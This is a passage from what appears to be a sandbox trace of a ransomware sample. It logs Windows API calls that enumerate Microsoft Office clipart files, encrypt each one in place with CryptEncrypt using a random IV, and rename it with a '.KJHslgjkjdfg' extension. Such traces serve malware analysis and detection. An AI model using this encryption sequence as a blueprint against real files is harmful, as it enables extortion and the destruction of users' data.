ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7df3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387895.JPG", cAlternateFileName="")) returned 1 [0202.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.743] GetProcessHeap () returned 0x990000 [0202.743] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.744] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.744] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0202.794] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.794] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.794] GetProcessHeap () returned 0x990000 [0202.794] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.794] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.794] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.794] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.794] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.795] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.795] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.795] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.795] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.795] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.795] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7df3, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7df3, lpOverlapped=0x0) returned 1 [0202.849] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7e00, dwBufLen=0x7e00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7e00) returned 1 [0202.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.849] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7e00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7e00, lpOverlapped=0x0) returned 1 [0202.850] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.850] SetEndOfFile (hFile=0x130) returned 1 [0202.852] GetProcessHeap () returned 0x990000 [0202.852] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.852] GetProcessHeap () returned 0x990000 [0202.852] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg.kjhslgjkjdfg")) returned 1 [0202.854] CloseHandle (hObject=0x130) returned 1 [0202.854] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59a43300, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59a43300, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x351c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0390072.JPG", cAlternateFileName="")) returned 1 [0202.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.855] GetProcessHeap () returned 0x990000 [0202.855] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.855] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.855] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.855] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.881] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.881] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.881] GetProcessHeap () returned 0x990000 [0202.881] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.881] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.881] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.881] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.881] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.882] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.882] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.882] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.882] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.882] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.882] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.882] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.882] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x351c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x351c, lpOverlapped=0x0) returned 1 [0202.946] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3520, dwBufLen=0x3520 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3520) returned 1 [0202.946] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.946] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3520, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3520, lpOverlapped=0x0) returned 1 [0202.947] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.947] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x35f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.947] SetEndOfFile (hFile=0x130) returned 1 [0202.949] GetProcessHeap () returned 0x990000 [0202.949] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.949] GetProcessHeap () returned 0x990000 [0202.949] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.949] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg.kjhslgjkjdfg")) returned 1 [0202.950] CloseHandle (hObject=0x130) returned 1 [0202.951] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55f55f00, ftCreationTime.dwHighDateTime=0x1c98cd0, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55f55f00, ftLastWriteTime.dwHighDateTime=0x1c98cd0, nFileSizeHigh=0x0, nFileSizeLow=0x31883, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0400001.PNG", cAlternateFileName="")) returned 1 [0202.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.952] GetProcessHeap () returned 0x990000 [0202.952] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.952] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.952] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0203.031] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0203.031] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0203.031] GetProcessHeap () returned 0x990000 [0203.031] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0203.031] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0203.031] CryptDestroyKey (hKey=0x9b6628) returned 1 [0203.031] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0203.031] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0203.031] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0203.031] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0203.031] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0203.031] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0203.032] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0203.032] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0203.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.032] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x31883, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x31883, lpOverlapped=0x0) returned 1 [0203.385] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x31890, dwBufLen=0x31890 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x31890) returned 1 [0203.387] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.387] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x31890, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x31890, lpOverlapped=0x0) returned 1 [0203.388] CryptDestroyKey (hKey=0x9b6628) returned 1 [0203.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.388] SetEndOfFile (hFile=0x130) returned 1 [0203.391] GetProcessHeap () returned 0x990000 [0203.391] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0203.391] GetProcessHeap () returned 0x990000 [0203.391] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0203.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png.kjhslgjkjdfg")) returned 1 [0203.393] CloseHandle (hObject=0x130) returned 1 [0203.393] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea13f600, ftCreationTime.dwHighDateTime=0x1c98cd1, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea13f600, ftLastWriteTime.dwHighDateTime=0x1c98cd1, nFileSizeHigh=0x0, nFileSizeLow=0x15d49, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0400002.PNG", cAlternateFileName="")) returned 1 [0203.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.394] GetProcessHeap () returned 0x990000 [0203.394] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0203.394] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0203.394] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0203.394] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x7, lpOverlapped=0x0) returned 1 [0203.572] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0203.572] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0203.573] GetProcessHeap () returned 0x990000 [0203.573] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0203.573] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0203.573] CryptDestroyKey (hKey=0x9b6628) returned 1 [0203.573] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0203.573] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0203.573] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0203.573] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0203.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0203.574] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0203.574] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0203.574] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0203.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.574] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15d49, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x15d49, lpOverlapped=0x0) returned 1 [0203.624] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15d50, dwBufLen=0x15d50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15d50) returned 1 [0203.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.625] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x15d50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x15d50, lpOverlapped=0x0) returned 1 [0203.625] CryptDestroyKey (hKey=0x9b6628) returned 1 [0203.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.625] SetEndOfFile (hFile=0x130) returned 1 [0203.628] GetProcessHeap () returned 0x990000 [0203.628] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0203.628] GetProcessHeap () returned 0x990000 [0203.628] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0203.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png.kjhslgjkjdfg")) returned 1 [0203.630] CloseHandle (hObject=0x130) returned 1 [0203.630] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x234c6600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x234c6600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x1e836, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0400003.PNG", cAlternateFileName="")) returned 1 [0203.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.633] GetProcessHeap () returned 0x990000 [0203.633] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0203.633] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0203.633] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0203.633] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0203.682] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0203.682] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0203.682] GetProcessHeap () returned 0x990000 [0203.682] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 